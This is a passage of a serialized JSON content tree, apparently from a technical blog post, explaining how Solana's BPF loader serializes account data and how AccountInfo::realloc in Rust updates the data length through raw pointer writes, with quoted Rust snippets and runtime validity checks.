",{"type":24,"tag":158,"props":16414,"children":16415},{"style":177},[16416],{"type":29,"value":15040},{"type":24,"tag":158,"props":16418,"children":16419},{"style":188},[16420],{"type":29,"value":2125},{"type":24,"tag":158,"props":16422,"children":16423},{"class":160,"line":626},[16424],{"type":24,"tag":158,"props":16425,"children":16426},{"style":188},[16427],{"type":29,"value":16428},"}));\n",{"type":24,"tag":158,"props":16430,"children":16431},{"class":160,"line":668},[16432,16436,16440,16444,16448],{"type":24,"tag":158,"props":16433,"children":16434},{"style":177},[16435],{"type":29,"value":15135},{"type":24,"tag":158,"props":16437,"children":16438},{"style":222},[16439],{"type":29,"value":16299},{"type":24,"tag":158,"props":16441,"children":16442},{"style":177},[16443],{"type":29,"value":16219},{"type":24,"tag":158,"props":16445,"children":16446},{"style":222},[16447],{"type":29,"value":2308},{"type":24,"tag":158,"props":16449,"children":16450},{"style":188},[16451],{"type":29,"value":16452}," MAX_PERMITTED_DATA_INCREASE;\n",{"type":24,"tag":158,"props":16454,"children":16455},{"class":160,"line":676},[16456,16460,16464,16468,16472,16476,16480,16484,16488,16492,16496,16501,16506],{"type":24,"tag":158,"props":16457,"children":16458},{"style":177},[16459],{"type":29,"value":15135},{"type":24,"tag":158,"props":16461,"children":16462},{"style":222},[16463],{"type":29,"value":16299},{"type":24,"tag":158,"props":16465,"children":16466},{"style":188},[16467],{"type":29,"value":2262},{"type":24,"tag":158,"props":16469,"children":16470},{"style":177},[16471],{"type":29,"value":15135},{"type":24,"tag":158,"props":16473,"children":16474},{"style":165},[16475],{"type":29,"value":2231},{"type":24,"tag":158,"props":16477,"children":16478},{"style":222},[16479],{"type":29,"value":615},{"type":24,"tag":158,"props":16481,"children":16482},{"style":165},[16483],{"type":29,"value":443},{"type":24,"tag":158,"props":16485,"children":16486},{"style":171},[16487],{"type":29,"value":15868},{"type":24,"tag":158,"props":16489,"children":16490},{"style":188},[16491],{"type":29,"value":521},{"type":24,"tag":158,"props":16493,"children":16494},{"style":222},[16495],{"type":29,"value":347},{"type":24,"tag":158,"props":16497,"children":16498},{"style":496},[16499],{"type":29,"value":16500},"align_offset",{"type":24,"tag":158,"props":16502,"children":16503},{"style":188},[16504],{"type":29,"value":16505},"(BPF_ALIGN_OF_U128); ",{"type":24,"tag":158,"props":16507,"children":16508},{"style":2588},[16509],{"type":29,"value":16510},"// padding\n",{"type":24,"tag":25,"props":16512,"children":16513},{},[16514,16516,16521,16523,16529,16531,16542,16544,16549,16551,16557,16559,16565,16567,16573],{"type":29,"value":16515},"In English, we have the length of the data, as a ",{"type":24,"tag":154,"props":16517,"children":16519},{"className":16518},[],[16520],{"type":29,"value":4269},{"type":29,"value":16522},", followed immediately by the data, and an additional ",{"type":24,"tag":154,"props":16524,"children":16526},{"className":16525},[],[16527],{"type":29,"value":16528},"MAX_PERMITTED_DATA_INCREASE",{"type":29,"value":16530}," of reserve space (+ padding) after that. Using the length and data pointer, we construct a Rust slice reference (",{"type":24,"tag":101,"props":16532,"children":16535},{"href":16533,"rel":16534},"https://doc.rust-lang.org/std/slice/fn.from_raw_parts_mut.html",[105],[16536],{"type":24,"tag":154,"props":16537,"children":16539},{"className":16538},[],[16540],{"type":29,"value":16541},"slice::from_raw_parts_mut",{"type":29,"value":16543},") - slices are how Rust represents a, well, ",{"type":24,"tag":32,"props":16545,"children":16546},{},[16547],{"type":29,"value":16548},"slice",{"type":29,"value":16550}," (contiguous chunk) of memory - then wrap it up inside a ",{"type":24,"tag":154,"props":16552,"children":16554},{"className":16553},[],[16555],{"type":29,"value":16556},"Rc\u003CRefCell\u003CT>>",{"type":29,"value":16558},", giving us the unwieldy-looking type of ",{"type":24,"tag":154,"props":16560,"children":16562},{"className":16561},[],[16563],{"type":29,"value":16564},"AccountInfo.data",{"type":29,"value":16566},": ",{"type":24,"tag":154,"props":16568,"children":16570},{"className":16569},[],[16571],{"type":29,"value":16572},"Rc\u003CRefCell\u003C&mut [u8]>>",{"type":29,"value":347},{"type":24,"tag":25,"props":16575,"children":16576},{},[16577,16579,16586],{"type":29,"value":16578},"Now, what's the point of this complicated type? That's because when the same account is passed in multiple times to a program, instead of duplicating the data for the account, the BPF loader simply refers back to the first instance of the account. On the Rust side, that corresponds to ",{"type":24,"tag":101,"props":16580,"children":16583},{"href":16581,"rel":16582},"https://docs.rs/solana-program/1.10.28/src/solana_program/entrypoint.rs.html#335-336",[105],[16584],{"type":29,"value":16585},"cloning the referenced account",{"type":29,"value":225},{"type":24,"tag":147,"props":16588,"children":16590},{"className":151,"code":16589,"language":150,"meta":7,"style":7},"// Duplicate account, clone the original\naccounts.push(accounts[dup_info as usize].clone());\n",[16591],{"type":24,"tag":154,"props":16592,"children":16593},{"__ignoreMap":7},[16594,16602],{"type":24,"tag":158,"props":16595,"children":16596},{"class":160,"line":161},[16597],{"type":24,"tag":158,"props":16598,"children":16599},{"style":2588},[16600],{"type":29,"value":16601},"// Duplicate account, clone the original\n",{"type":24,"tag":158,"props":16603,"children":16604},{"class":160,"line":213},[16605,16609,16613,16617,16621,16625,16629,16634,16638,16642,16647,16651,16656],{"type":24,"tag":158,"props":16606,"children":16607},{"style":177},[16608],{"type":29,"value":15909},{"type":24,"tag":158,"props":16610,"children":16611},{"style":222},[16612],{"type":29,"value":347},{"type":24,"tag":158,"props":16614,"children":16615},{"style":496},[16616],{"type":29,"value":5469},{"type":24,"tag":158,"props":16618,"children":16619},{"style":188},[16620],{"type":29,"value":504},{"type":24,"tag":158,"props":16622,"children":16623},{"style":177},[16624],{"type":29,"value":15909},{"type":24,"tag":158,"props":16626,"children":16627},{"style":188},[16628],{"type":29,"value":2048},{"type":24,"tag":158,"props":16630,"children":16631},{"style":177},[16632],{"type":29,"value":16633},"dup_info",{"type":24,"tag":158,"props":16635,"children":16636},{"style":165},[16637],{"type":29,"value":2231},{"type":24,"tag":158,"props":16639,"children":16640},{"style":171},[16641],{"type":29,"value":14965},{"type":24,"tag":158,"props":16643,"children":16644},{"style":188},[16645],{"type":29,"value":16646},"]",{"type":24,"tag":158,"props":16648,"children":16649},{"style":222},[16650],{"type":29,"value":347},{"type":24,"tag":158,"props":16652,"children":16653},{"style":496},[16654],{"type":29,"value":16655},"clone",{"type":24,"tag":158,"props":16657,"children":16658},{"style":188},[16659],{"type":29,"value":16660},"());\n",{"type":24,"tag":25,"props":16662,"children":16663},{},[16664,16666,16671,16673,16678,16680,16685,16687,16692,16693,16699,16701,16706,16708,16720,16722,16727],{"type":29,"value":16665},"Since ",{"type":24,"tag":154,"props":16667,"children":16669},{"className":16668},[],[16670],{"type":29,"value":5361},{"type":29,"value":16672}," inside the ",{"type":24,"tag":154,"props":16674,"children":16676},{"className":16675},[],[16677],{"type":29,"value":16173},{"type":29,"value":16679}," is a ",{"type":24,"tag":154,"props":16681,"children":16683},{"className":16682},[],[16684],{"type":29,"value":16556},{"type":29,"value":16686},", where the ",{"type":24,"tag":154,"props":16688,"children":16690},{"className":16689},[],[16691],{"type":29,"value":7637},{"type":29,"value":16679},{"type":24,"tag":154,"props":16694,"children":16696},{"className":16695},[],[16697],{"type":29,"value":16698},"&mut [u8]",{"type":29,"value":16700}," pointing at the actual data buffer, when we clone the ",{"type":24,"tag":154,"props":16702,"children":16704},{"className":16703},[],[16705],{"type":29,"value":16173},{"type":29,"value":16707},", we get a new reference",{"type":24,"tag":16709,"props":16710,"children":16711},"sup",{},[16712],{"type":24,"tag":101,"props":16713,"children":16718},{"href":16714,"ariaDescribedBy":16715,"dataFootnoteRef":7,"id":16717},"#user-content-fn-rc-refs",[16716],"footnote-label","user-content-fnref-rc-refs",[16719],{"type":29,"value":5672},{"type":29,"value":16721}," to the slice pointing at the ",{"type":24,"tag":32,"props":16723,"children":16724},{},[16725],{"type":29,"value":16726},"same",{"type":29,"value":16728}," data buffer.",{"type":24,"tag":25,"props":16730,"children":16731},{},[16732,16734,16740,16742,16748],{"type":29,"value":16733},"And of course to uphold borrowing rules while having a shared pointer, we have interior mutability via ",{"type":24,"tag":154,"props":16735,"children":16737},{"className":16736},[],[16738],{"type":29,"value":16739},"RefCell",{"type":29,"value":16741}," to check the rules at runtime. (The ",{"type":24,"tag":154,"props":16743,"children":16745},{"className":16744},[],[16746],{"type":29,"value":16747},"lamports",{"type":29,"value":16749}," field is very similar, for essentially the same reason - we need to be able to mutate it, but it is also shared between multiple instances of the same account.)",{"type":24,"tag":25,"props":16751,"children":16752},{},[16753,16755,16761],{"type":29,"value":16754},"Changing the data of an account is done by simply writing to ",{"type":24,"tag":154,"props":16756,"children":16758},{"className":16757},[],[16759],{"type":29,"value":16760},"AccountInfo::data",{"type":29,"value":16762},", which, as we just saw, is basically a pointer into the serialized buffer from the runtime; after the program exits, the loader reads the buffer back in to look at what the new state of the accounts should be.",{"type":24,"tag":25,"props":16764,"children":16765},{},[16766,16768,16775],{"type":29,"value":16767},"This is also where the ",{"type":24,"tag":101,"props":16769,"children":16772},{"href":16770,"rel":16771},"https://github.com/solana-labs/solana/blob/9fb0e76dc276f88b79720112477383a120c61b8f/program-runtime/src/pre_account.rs",[105],[16773],{"type":29,"value":16774},"runtime validity checks",{"type":29,"value":16776}," are imposed.",{"type":24,"tag":147,"props":16778,"children":16780},{"className":151,"code":16779,"language":150,"meta":7,"style":7},"// Only the owner may change account data\n// and if the account is writable\n// and if the account is not executable\nif !(program_id == pre.owner()\n && is_writable // line coverage used to get branch coverage\n && !pre.executable())\n && pre.data() != post.data()\n{\n if pre.executable() {\n return Err(InstructionError::ExecutableDataModified);\n } else if is_writable {\n return Err(InstructionError::ExternalAccountDataModified);\n } else {\n return Err(InstructionError::ReadonlyDataModified);\n }\n}\n",[16781],{"type":24,"tag":154,"props":16782,"children":16783},{"__ignoreMap":7},[16784,16792,16800,16808,16850,16868,16897,16942,16949,16973,17008,17033,17065,17080,17112,17119],{"type":24,"tag":158,"props":16785,"children":16786},{"class":160,"line":161},[16787],{"type":24,"tag":158,"props":16788,"children":16789},{"style":2588},[16790],{"type":29,"value":16791},"// Only the owner may change account data\n",{"type":24,"tag":158,"props":16793,"children":16794},{"class":160,"line":213},[16795],{"type":24,"tag":158,"props":16796,"children":16797},{"style":2588},[16798],{"type":29,"value":16799},"// and if the account is writable\n",{"type":24,"tag":158,"props":16801,"children":16802},{"class":160,"line":238},[16803],{"type":24,"tag":158,"props":16804,"children":16805},{"style":2588},[16806],{"type":29,"value":16807},"// and if the account is not executable\n",{"type":24,"tag":158,"props":16809,"children":16810},{"class":160,"line":259},[16811,16816,16820,16824,16828,16832,16837,16841,16846],{"type":24,"tag":158,"props":16812,"children":16813},{"style":1914},[16814],{"type":29,"value":16815},"if",{"type":24,"tag":158,"props":16817,"children":16818},{"style":222},[16819],{"type":29,"value":3750},{"type":24,"tag":158,"props":16821,"children":16822},{"style":188},[16823],{"type":29,"value":504},{"type":24,"tag":158,"props":16825,"children":16826},{"style":177},[16827],{"type":29,"value":15900},{"type":24,"tag":158,"props":16829,"children":16830},{"style":222},[16831],{"type":29,"value":3175},{"type":24,"tag":158,"props":16833,"children":16834},{"style":177},[16835],{"type":29,"value":16836}," pre",{"type":24,"tag":158,"props":16838,"children":16839},{"style":222},[16840],{"type":29,"value":347},{"type":24,"tag":158,"props":16842,"children":16843},{"style":496},[16844],{"type":29,"value":16845},"owner",{"type":24,"tag":158,"props":16847,"children":16848},{"style":188},[16849],{"type":29,"value":9376},{"type":24,"tag":158,"props":16851,"children":16852},{"class":160,"line":280},[16853,16858,16863],{"type":24,"tag":158,"props":16854,"children":16855},{"style":222},[16856],{"type":29,"value":16857}," &&",{"type":24,"tag":158,"props":16859,"children":16860},{"style":177},[16861],{"type":29,"value":16862}," is_writable",{"type":24,"tag":158,"props":16864,"children":16865},{"style":2588},[16866],{"type":29,"value":16867}," // line coverage used to get branch coverage\n",{"type":24,"tag":158,"props":16869,"children":16870},{"class":160,"line":301},[16871,16875,16879,16883,16887,16892],{"type":24,"tag":158,"props":16872,"children":16873},{"style":222},[16874],{"type":29,"value":16857},{"type":24,"tag":158,"props":16876,"children":16877},{"style":222},[16878],{"type":29,"value":3750},{"type":24,"tag":158,"props":16880,"children":16881},{"style":177},[16882],{"type":29,"value":147},{"type":24,"tag":158,"props":16884,"children":16885},{"style":222},[16886],{"type":29,"value":347},{"type":24,"tag":158,"props":16888,"children":16889},{"style":496},[16890],{"type":29,"value":16891},"executable",{"type":24,"tag":158,"props":16893,"children":16894},{"style":188},[16895],{"type":29,"value":16896},"())\n",{"type":24,"tag":158,"props":16898,"children":16899},{"class":160,"line":626},[16900,16904,16908,16912,16916,16920,16925,16930,16934,16938],{"type":24,"tag":158,"props":16901,"children":16902},{"style":222},[16903],{"type":29,"value":16857},{"type":24,"tag":158,"props":16905,"children":16906},{"style":177},[16907],{"type":29,"value":16836},{"type":24,"tag":158,"props":16909,"children":16910},{"style":222},[16911],{"type":29,"value":347},{"type":24,"tag":158,"props":16913,"children":16914},{"style":496},[16915],{"type":29,"value":5361},{"type":24,"tag":158,"props":16917,"children":16918},{"style":188},[16919],{"type":29,"value":15277},{"type":24,"tag":158,"props":16921,"children":16922},{"style":222},[16923],{"type":29,"value":16924},"!=",{"type":24,"tag":158,"props":16926,"children":16927},{"style":177},[16928],{"type":29,"value":16929}," post",{"type":24,"tag":158,"props":16931,"children":16932},{"style":222},[16933],{"type":29,"value":347},{"type":24,"tag":158,"props":16935,"children":16936},{"style":496},[16937],{"type":29,"value":5361},{"type":24,"tag":158,"props":16939,"children":16940},{"style":188},[16941],{"type":29,"value":9376},{"type":24,"tag":158,"props":16943,"children":16944},{"class":160,"line":668},[16945],{"type":24,"tag":158,"props":16946,"children":16947},{"style":188},[16948],{"type":29,"value":1710},{"type":24,"tag":158,"props":16950,"children":16951},{"class":160,"line":676},[16952,16956,16960,16964,16968],{"type":24,"tag":158,"props":16953,"children":16954},{"style":1914},[16955],{"type":29,"value":3160},{"type":24,"tag":158,"props":16957,"children":16958},{"style":177},[16959],{"type":29,"value":16836},{"type":24,"tag":158,"props":16961,"children":16962},{"style":222},[16963],{"type":29,"value":347},{"type":24,"tag":158,"props":16965,"children":16966},{"style":496},[16967],{"type":29,"value":16891},{"type":24,"tag":158,"props":16969,"children":16970},{"style":188},[16971],{"type":29,"value":16972},"() {\n",{"type":24,"tag":158,"props":16974,"children":16975},{"class":160,"line":684},[16976,16981,16986,16990,16995,16999,17004],{"type":24,"tag":158,"props":16977,"children":16978},{"style":1914},[16979],{"type":29,"value":16980}," return",{"type":24,"tag":158,"props":16982,"children":16983},{"style":171},[16984],{"type":29,"value":16985}," Err",{"type":24,"tag":158,"props":16987,"children":16988},{"style":188},[16989],{"type":29,"value":504},{"type":24,"tag":158,"props":16991,"children":16992},{"style":171},[16993],{"type":29,"value":16994},"InstructionError",{"type":24,"tag":158,"props":16996,"children":16997},{"style":222},[16998],{"type":29,"value":2146},{"type":24,"tag":158,"props":17000,"children":17001},{"style":171},[17002],{"type":29,"value":17003},"ExecutableDataModified",{"type":24,"tag":158,"props":17005,"children":17006},{"style":188},[17007],{"type":29,"value":1071},{"type":24,"tag":158,"props":17009,"children":17010},{"class":160,"line":700},[17011,17016,17020,17025,17029],{"type":24,"tag":158,"props":17012,"children":17013},{"style":188},[17014],{"type":29,"value":17015}," } ",{"type":24,"tag":158,"props":17017,"children":17018},{"style":1914},[17019],{"type":29,"value":4978},{"type":24,"tag":158,"props":17021,"children":17022},{"style":1914},[17023],{"type":29,"value":17024}," if",{"type":24,"tag":158,"props":17026,"children":17027},{"style":177},[17028],{"type":29,"value":16862},{"type":24,"tag":158,"props":17030,"children":17031},{"style":188},[17032],{"type":29,"value":210},{"type":24,"tag":158,"props":17034,"children":17035},{"class":160,"line":785},[17036,17040,17044,17048,17052,17056,17061],{"type":24,"tag":158,"props":17037,"children":17038},{"style":1914},[17039],{"type":29,"value":16980},{"type":24,"tag":158,"props":17041,"children":17042},{"style":171},[17043],{"type":29,"value":16985},{"type":24,"tag":158,"props":17045,"children":17046},{"style":188},[17047],{"type":29,"value":504},{"type":24,"tag":158,"props":17049,"children":17050},{"style":171},[17051],{"type":29,"value":16994},{"type":24,"tag":158,"props":17053,"children":17054},{"style":222},[17055],{"type":29,"value":2146},{"type":24,"tag":158,"props":17057,"children":17058},{"style":171},[17059],{"type":29,"value":17060},"ExternalAccountDataModified",{"type":24,"tag":158,"props":17062,"children":17063},{"style":188},[17064],{"type":29,"value":1071},{"type":24,"tag":158,"props":17066,"children":17067},{"class":160,"line":1447},[17068,17072,17076],{"type":24,"tag":158,"props":17069,"children":17070},{"style":188},[17071],{"type":29,"value":17015},{"type":24,"tag":158,"props":17073,"children":17074},{"style":1914},[17075],{"type":29,"value":4978},{"type":24,"tag":158,"props":17077,"children":17078},{"style":188},[17079],{"type":29,"value":210},{"type":24,"tag":158,"props":17081,"children":17082},{"class":160,"line":1509},[17083,17087,17091,17095,17099,17103,17108],{"type":24,"tag":158,"props":17084,"children":17085},{"style":1914},[17086],{"type":29,"value":16980},{"type":24,"tag":158,"props":17088,"children":17089},{"style":171},[17090],{"type":29,"value":16985},{"type":24,"tag":158,"props":17092,"children":17093},{"style":188},[17094],{"type":29,"value":504},{"type":24,"tag":158,"props":17096,"children":17097},{"style":171},[17098],{"type":29,"value":16994},{"type":24,"tag":158,"props":17100,"children":17101},{"style":222},[17102],{"type":29,"value":2146},{"type":24,"tag":158,"props":17104,"children":17105},{"style":171},[17106],{"type":29,"value":17107},"ReadonlyDataModified",{"type":24,"tag":158,"props":17109,"children":17110},{"style":188},[17111],{"type":29,"value":1071},{"type":24,"tag":158,"props":17113,"children":17114},{"class":160,"line":1527},[17115],{"type":24,"tag":158,"props":17116,"children":17117},{"style":188},[17118],{"type":29,"value":3967},{"type":24,"tag":158,"props":17120,"children":17121},{"class":160,"line":1545},[17122],{"type":24,"tag":158,"props":17123,"children":17124},{"style":188},[17125],{"type":29,"value":307},{"type":24,"tag":395,"props":17127,"children":17129},{"id":17128},"back-to-realloc",[17130,17132],{"type":29,"value":17131},"Back to ",{"type":24,"tag":154,"props":17133,"children":17135},{"className":17134},[],[17136],{"type":29,"value":14872},{"type":24,"tag":25,"props":17138,"children":17139},{},[17140],{"type":29,"value":17141},"As a reminder, this is what we were looking at before that detour:",{"type":24,"tag":147,"props":17143,"children":17144},{"className":151,"code":15625,"language":150,"meta":7,"style":7},[17145],{"type":24,"tag":154,"props":17146,"children":17147},{"__ignoreMap":7},[17148,17155,17242],{"type":24,"tag":158,"props":17149,"children":17150},{"class":160,"line":161},[17151],{"type":24,"tag":158,"props":17152,"children":17153},{"style":2588},[17154],{"type":29,"value":15637},{"type":24,"tag":158,"props":17156,"children":17157},{"class":160,"line":213},[17158,17162,17166,17170,17174,17178,17182,17186,17190,17194,17198,17202,17206,17210,17214,17218,17222,17226,17230,17234,17238],{"type":24,"tag":158,"props":17159,"children":17160},{"style":165},[17161],{"type":29,"value":2662},{"type":24,"tag":158,"props":17163,"children":17164},{"style":177},[17165],{"type":29,"value":15091},{"type":24,"tag":158,"props":17167,"children":17168},{"style":222},[17169],{"type":29,"value":462},{"type":24,"tag":158,"props":17171,"children":17172},{"style":165},[17173],{"type":29,"value":15031},{"type":24,"tag":158,"props":17175,"children":17176},{"style":222},[17177],{"type":29,"value":347},{"type":24,"tag":158,"props":17179,"children":17180},{"style":496},[17181],{"type":29,"value":15108},{"type":24,"tag":158,"props":17183,"children":17184},{"style":188},[17185],{"type":29,"value":15113},{"type":24,"tag":158,"props":17187,"children":17188},{"style":222},[17189],{"type":29,"value":4798},{"type":24,"tag":158,"props":17191,"children":17192},{"style":496},[17193],{"type":29,"value":15122},{"type":24,"tag":158,"props":17195,"children":17196},{"style":188},[17197],{"type":29,"value":15113},{"type":24,"tag":158,"props":17199,"children":17200},{"style":222},[17201],{"type":29,"value":347},{"type":24,"tag":158,"props":17203,"children":17204},{"style":496},[17205],{"type":29,"value":15135},{"type":24,"tag":158,"props":17207,"children":17208},{"style":188},[17209],{"type":29,"value":504},{"type":24,"tag":158,"props":17211,"children":17212},{"style":222},[17213],{"type":29,"value":5987},{"type":24,"tag":158,"props":17215,"children":17216},{"style":465},[17217],{"type":29,"value":5736},{"type":24,"tag":158,"props":17219,"children":17220},{"style":188},[17221],{"type":29,"value":723},{"type":24,"tag":158,"props":17223,"children":17224},{"style":165},[17225],{"type":29,"value":2245},{"type":24,"tag":158,"props":17227,"children":17228},{"style":222},[17229],{"type":29,"value":615},{"type":24,"tag":158,"props":17231,"children":17232},{"style":165},[17233],{"type":29,"value":2169},{"type":24,"tag":158,"props":17235,"children":17236},{"style":171},[17237],{"type":29,"value":230},{"type":24,"tag":158,"props":17239,"children":17240},{"style":188},[17241],{"type":29,"value":473},{"type":24,"tag":158,"props":17243,"children":17244},{"class":160,"line":238},[17245,17249,17253,17257,17261,17265,17269],{"type":24,"tag":158,"props":17246,"children":17247},{"style":222},[17248],{"type":29,"value":577},{"type":24,"tag":158,"props":17250,"children":17251},{"style":177},[17252],{"type":29,"value":15183},{"type":24,"tag":158,"props":17254,"children":17255},{"style":222},[17256],{"type":29,"value":462},{"type":24,"tag":158,"props":17258,"children":17259},{"style":177},[17260],{"type":29,"value":15192},{"type":24,"tag":158,"props":17262,"children":17263},{"style":165},[17264],{"type":29,"value":2231},{"type":24,"tag":158,"props":17266,"children":17267},{"style":171},[17268],{"type":29,"value":230},{"type":24,"tag":158,"props":17270,"children":17271},{"style":188},[17272],{"type":29,"value":473},{"type":24,"tag":25,"props":17274,"children":17275},{},[17276,17281,17283,17288,17290,17295,17297,17308,17310,17315,17317,17322],{"type":24,"tag":154,"props":17277,"children":17279},{"className":17278},[],[17280],{"type":29,"value":15108},{"type":29,"value":17282}," gives us the ",{"type":24,"tag":154,"props":17284,"children":17286},{"className":17285},[],[17287],{"type":29,"value":16698},{"type":29,"value":17289}," from the ",{"type":24,"tag":154,"props":17291,"children":17293},{"className":17292},[],[17294],{"type":29,"value":16572},{"type":29,"value":17296},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":24,"tag":101,"props":17298,"children":17301},{"href":17299,"rel":17300},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[105],[17302],{"type":24,"tag":154,"props":17303,"children":17305},{"className":17304},[],[17306],{"type":29,"value":17307},"slice::as_mut_ptr()",{"type":29,"value":17309}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":24,"tag":154,"props":17311,"children":17313},{"className":17312},[],[17314],{"type":29,"value":4269},{"type":29,"value":17316}," - behind the data buffer), and then writes ",{"type":24,"tag":154,"props":17318,"children":17320},{"className":17319},[],[17321],{"type":29,"value":14956},{"type":29,"value":17323}," to it.",{"type":24,"tag":25,"props":17325,"children":17326},{},[17327,17329,17341,17343,17349],{"type":29,"value":17328},"This is reasonable... ",{"type":24,"tag":32,"props":17330,"children":17331},{},[17332,17334,17339],{"type":29,"value":17333},"as long as the ",{"type":24,"tag":154,"props":17335,"children":17337},{"className":17336},[],[17338],{"type":29,"value":5361},{"type":29,"value":17340}," actually came from the serialized buffer",{"type":29,"value":17342},". We'll come back to this ",{"type":24,"tag":101,"props":17344,"children":17346},{"href":17345},"#Not-contracts",[17347],{"type":29,"value":17348},"later",{"type":29,"value":347},{"type":24,"tag":25,"props":17351,"children":17352},{},[17353,17355,17360],{"type":29,"value":17354},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":24,"tag":154,"props":17356,"children":17358},{"className":17357},[],[17359],{"type":29,"value":16698},{"type":29,"value":17361}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":24,"tag":147,"props":17363,"children":17365},{"className":151,"code":17364,"language":150,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[17366],{"type":24,"tag":154,"props":17367,"children":17368},{"__ignoreMap":7},[17369,17377,17504],{"type":24,"tag":158,"props":17370,"children":17371},{"class":160,"line":161},[17372],{"type":24,"tag":158,"props":17373,"children":17374},{"style":2588},[17375],{"type":29,"value":17376},"// Then set the new length in the local slice\n",{"type":24,"tag":158,"props":17378,"children":17379},{"class":160,"line":213},[17380,17384,17388,17392,17396,17400,17404,17408,17412,17416,17420,17424,17428,17432,17436,17440,17444,17448,17452,17456,17460,17464,17468,17472,17476,17480,17484,17488,17492,17496,17500],{"type":24,"tag":158,"props":17381,"children":17382},{"style":165},[17383],{"type":29,"value":2662},{"type":24,"tag":158,"props":17385,"children":17386},{"style":177},[17387],{"type":29,"value":15091},{"type":24,"tag":158,"props":17389,"children":17390},{"style":222},[17391],{"type":29,"value":462},{"type":24,"tag":158,"props":17393,"children":17394},{"style":222},[17395],{"type":29,"value":8784},{"type":24,"tag":158,"props":17397,"children":17398},{"style":165},[17399],{"type":29,"value":2169},{"type":24,"tag":158,"props":17401,"children":17402},{"style":222},[17403],{"type":29,"value":615},{"type":24,"tag":158,"props":17405,"children":17406},{"style":188},[17407],{"type":29,"value":15251},{"type":24,"tag":158,"props":17409,"children":17410},{"style":165},[17411],{"type":29,"value":14947},{"type":24,"tag":158,"props":17413,"children":17414},{"style":222},[17415],{"type":29,"value":347},{"type":24,"tag":158,"props":17417,"children":17418},{"style":188},[17419],{"type":29,"value":5361},{"type":24,"tag":158,"props":17421,"children":17422},{"style":222},[17423],{"type":29,"value":347},{"type":24,"tag":158,"props":17425,"children":17426},{"style":496},[17427],{"type":29,"value":15272},{"type":24,"tag":158,"props":17429,"children":17430},{"style":188},[17431],{"type":29,"value":15277},{"type":24,"tag":158,"props":17433,"children":17434},{"style":165},[17435],{"type":29,"value":2245},{"type":24,"tag":158,"props":17437,"children":17438},{"style":222},[17439],{"type":29,"value":615},{"type":24,"tag":158,"props":17441,"children":17442},{"style":165},[17443],{"type":29,"value":443},{"type":24,"tag":158,"props":17445,"children":17446},{"style":171},[17447],{"type":29,"value":230},{"type":24,"tag":158,"props":17449,"children":17450},{"style":188},[17451],{"type":29,"value":521},{"type":24,"tag":158,"props":17453,"children":17454},{"style":222},[17455],{"type":29,"value":347},{"type":24,"tag":158,"props":17457,"children":17458},{"style":496},[17459],{"type":29,"value":15135},{"type":24,"tag":158,"props":17461,"children":17462},{"style":188},[17463],{"type":29,"value":504},{"type":24,"tag":158,"props":17465,"children":17466},{"style":465},[17467],{"type":29,"value":5672},{"type":24,"tag":158,"props":17469,"children":17470},{"style":188},[17471],{"type":29,"value":723},{"type":24,"tag":158,"props":17473,"children":17474},{"style":165},[17475],{"type":29,"value":2245},{"type":24,"tag":158,"props":17477,"children":17478},{"style":171},[17479],{"type":29,"value":230},{"type":24,"tag":158,"props":17481,"children":17482},{"style":188},[17483],{"type":29,"value":723},{"type":24,"tag":158,"props":17485,"children":17486},{"style":165},[17487],{"type":29,"value":2245},{"type":24,"tag":158,"props":17489,"children":17490},{"style":222},[17491],{"type":29,"value":615},{"type":24,"tag":158,"props":17493,"children":17494},{"style":165},[17495],{"type":29,"value":2169},{"type":24,"tag":158,"props":17497,"children":17498},{"style":171},[17499],{"type":29,"value":230},{"type":24,"tag":158,"props":17501,"children":17502},{"style":188},[17503],{"type":29,"value":1071},{"type":24,"tag":158,"props":17505,"children":17506},{"class":160,"line":238},[17507,17511,17515,17519,17523,17527,17531],{"type":24,"tag":158,"props":17508,"children":17509},{"style":222},[17510],{"type":29,"value":577},{"type":24,"tag":158,"props":17512,"children":17513},{"style":177},[17514],{"type":29,"value":15183},{"type":24,"tag":158,"props":17516,"children":17517},{"style":222},[17518],{"type":29,"value":462},{"type":24,"tag":158,"props":17520,"children":17521},{"style":177},[17522],{"type":29,"value":15192},{"type":24,"tag":158,"props":17524,"children":17525},{"style":165},[17526],{"type":29,"value":2231},{"type":24,"tag":158,"props":17528,"children":17529},{"style":171},[17530],{"type":29,"value":230},{"type":24,"tag":158,"props":17532,"children":17533},{"style":188},[17534],{"type":29,"value":473},{"type":24,"tag":25,"props":17536,"children":17537},{},[17538,17540,17546,17548,17559,17561,17567,17569,17575,17577,17582,17584,17589,17591,17601,17602,17609,17610,17617,17624,17626,17632,17634,17640,17642,17647,17649,17654,17656,17662,17664,17669],{"type":29,"value":17539},"That ",{"type":24,"tag":154,"props":17541,"children":17543},{"className":17542},[],[17544],{"type":29,"value":17545},"as_ptr()",{"type":29,"value":17547}," call is ",{"type":24,"tag":101,"props":17549,"children":17552},{"href":17550,"rel":17551},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[105],[17553],{"type":24,"tag":154,"props":17554,"children":17556},{"className":17555},[],[17557],{"type":29,"value":17558},"RefCell::as_ptr()",{"type":29,"value":17560}," due to the ",{"type":24,"tag":154,"props":17562,"children":17564},{"className":17563},[],[17565],{"type":29,"value":17566},"Deref",{"type":29,"value":17568}," impl on ",{"type":24,"tag":154,"props":17570,"children":17572},{"className":17571},[],[17573],{"type":29,"value":17574},"Rc",{"type":29,"value":17576}," (remember also that ",{"type":24,"tag":154,"props":17578,"children":17580},{"className":17579},[],[17581],{"type":29,"value":16739},{"type":29,"value":17583}," itself doesn't behave like a reference, you need to actually ",{"type":24,"tag":32,"props":17585,"children":17586},{},[17587],{"type":29,"value":17588},"get",{"type":29,"value":17590}," one through 